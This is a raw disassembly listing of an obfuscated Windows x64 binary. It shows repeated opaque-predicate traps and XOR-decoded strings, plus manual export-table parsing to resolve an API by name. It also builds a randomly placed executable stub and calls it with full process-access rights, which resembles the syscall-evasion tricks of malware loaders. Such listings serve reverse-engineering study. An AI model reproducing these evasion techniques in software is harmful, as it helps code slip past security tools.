mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021637
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021637
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021657
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
mov edi, 0xd969f13c
cmp rax, r15
jne 0x140021706
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400216e6
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400216e6
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021706
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x1400217b0
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021790
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021790
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400217b0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14002185a
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002183a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002183a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002185a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
call fcn.14008b910
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.14002dbbc
mov rax, qword gs:[0x23]
mov r8d, 0xc8da7f20
cmp rax, r15
jne 0x14002193d
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002191d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002191d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002193d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x1400219e7
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400219c7
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400219c7
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400219e7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x140021a91
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021a71
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021a71
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021a91
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x140021b4e
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021b2e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021b2e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021b4e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x140021bf8
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021bd8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021bd8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021bf8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov qword [rbp + 0xe58], r14
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x140021ca9
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021c89
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021c89
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021ca9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x140021d53
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021d33
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021d33
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021d53
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.14002d154
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x140021e3a
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0xc8da7f20
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140021e1a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140021e1a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140021e3a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov edi, r14d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x140022144
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x140021ef8
mov rax, qword gs:[0x5f]
movabs rcx, 0x43cd74f94e7736a0
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400221f7
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400221f7
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400221f7
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.14001ce68
mov r15d, eax
mov dword [rbp + 0xf50], r15d
mov rcx, qword gs:[0x23]
mov eax, 0xcae3443f
mov r8d, 0xd969f13c
cmp rcx, rax
jne 0x140021fb6
mov rcx, qword gs:[0x5f]
xor rcx, r8
mov qword [rbp + 0x1070], rcx
mov rcx, qword gs:[0x5f]
xor rcx, r8
mov qword [rbp + 0x1078], rcx
mov rcx, qword gs:[0x5f]
xor rcx, r8
mov qword [rbp + 0x1080], rcx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x140022217
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x140022217
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x140022217
test r15d, r15d
jne 0x140022277
mov rax, qword gs:[0x23]
mov r15d, 0xcae3443f
cmp rax, r15
jne 0x140022070
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x208c51f
div rcx
mov qword [rbp + 0x1050], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0xc8da7f20
div rcx
mov qword [rbp + 0x1058], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0x1060], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x140022237
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x140022237
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x140022237
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x140022124
mov rax, qword gs:[0x5f]
xor rax, r8
mov qword [rbp + 0xf60], rax
mov rax, qword gs:[0x5f]
xor rax, r8
mov qword [rbp + 0xf68], rax
mov rax, qword gs:[0x5f]
xor rax, r8
mov qword [rbp + 0xf70], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x140022257
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x140022257
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x140022257
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x140021e58
mov rax, qword gs:[0x23]
cmp rax, r15
jne 0x14002bf76
mov rax, qword gs:[0x5f]
mov ecx, 0xd969f13c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400221d7
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400221d7
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bf76
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.1400928d8
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0x35d95bcd
mov dword [rbp + 0x214], 0x17b14a03
mov dword [rbp + 0x218], 0x7d254227
mov word [rbp + 0x21c], 0x5b
mov r8, r14
movabs rbx, 0x8080808080808081
movabs r9, 0x1570a4bb07
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x2ae149760e
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdi, 0x1a6340e62
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r13
add r10, 0xd
cmp r9, r11
jb 0x140022310
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0x721b6cb2
mov dword [rbp + 0x84], 0xf7da27a8
mov word [rbp + 0x88], 0x75
mov r8, r14
movabs r9, 0xed7d4817b
mov r10d, 9
movabs r11, 0x1dafa902f6
movabs r15, 0x1a6340e62
mov cl, r8b
and cl, sil
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r13
add r10, 9
cmp r9, r11
jb 0x1400223bf
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
mov r15d, dword [rbp + 0xf50]
je 0x14002264f
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002264f
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002264f
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002264f
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002264f
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400224c1
inc rax
test edi, edi
jne 0x1400224ac
test r8d, r8d
je 0x1400224d3
inc rdx
cmp rdx, rsi
jb 0x14002249b
jmp 0x14002264f
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002264f
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14002264c
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.14008b910
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.14002dbbc
lea rcx, [rbp + 0x7420]
call fcn.14002d154
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.14002d154
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140022561
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400b5390
mov dword [0x1400dfcc4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400dfcc0]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dfcc8]
mov word [rdi + 8], ax
mov al, byte [0x1400dfcca]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfcc], r14d
lea r9, [rbp + 0xfcc]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400b5a30
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400dfcc4], r14d
test edi, edi
js 0x140022662
jmp 0x14002264f
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x140022678
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.14001c930
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x23]
ja 0x14002bbe4
mov esi, 0xcae3443f
cmp rax, rsi
jne 0x14002273f
mov rax, qword gs:[0x5f]
movabs rbx, 0x43cd74f94e7736a0
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002271f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002271f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002273f
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
movdqa xmm0, xmmword [0x1400d3ab0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400d3be0]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0xb6fb2fe6
mov word [rbp + 0xbc4], 0x23df
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
movabs rbx, 0x1a6340e62
movabs r9, 0x3eabba22b2
lea r10d, [rax + 0x26]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r13
add r10, 0x26
movabs rax, 0x7d57744564
cmp r9, rax
jb 0x14002279f
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.140001d4c
mov rax, qword gs:[0x23]
cmp rax, rsi
movabs rbx, 0x43cd74f94e7736a0
mov r15d, 0x208c51f
mov edi, 0xc8da7f20
jne 0x1400228e8
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400228c8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400228c8
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400228e8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400928d8
int3
call fcn.14001cb90
mov rcx, qword gs:[0x23]
test al, al
jne 0x140022c87
cmp rcx, rsi
jne 0x14002299f
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002297f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002297f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002299f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
movdqa xmm0, xmmword [0x1400d3da0]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], Ordinal_200
mov r10, r14
mov r11, r12
movabs rbx, 0x8080808080808081
movabs r8, 0x1c0974f493
movabs r9, 0x3812e9e926
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x1a6340e62
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x1400229dc
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400d3c40]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [str._qo]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
movabs rsi, 0x1a6340e62
mov r9d, Ordinal_33
movabs r10, 0x33204dbdfd
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xaf8]
xor dil, r8b
mov byte [rbp + r8 + 0xaf8], dil
inc r8
add r10, r13
add r9, 0x1f
movabs rax, 0x66409b7bfa
cmp r10, rax
jb 0x140022a83
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x23]
mov esi, 0xcae3443f
cmp rax, rsi
jne 0x140022bc6
mov rax, qword gs:[0x5f]
mov ecx, 0xd969f13c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022ba6
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022ba6
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022bc6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x14002c5a6
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0xc8da7f20
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x12764b03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022c67
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022c67
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002c5a6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400928d8
int3
cmp rcx, rsi
jne 0x140022d39
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
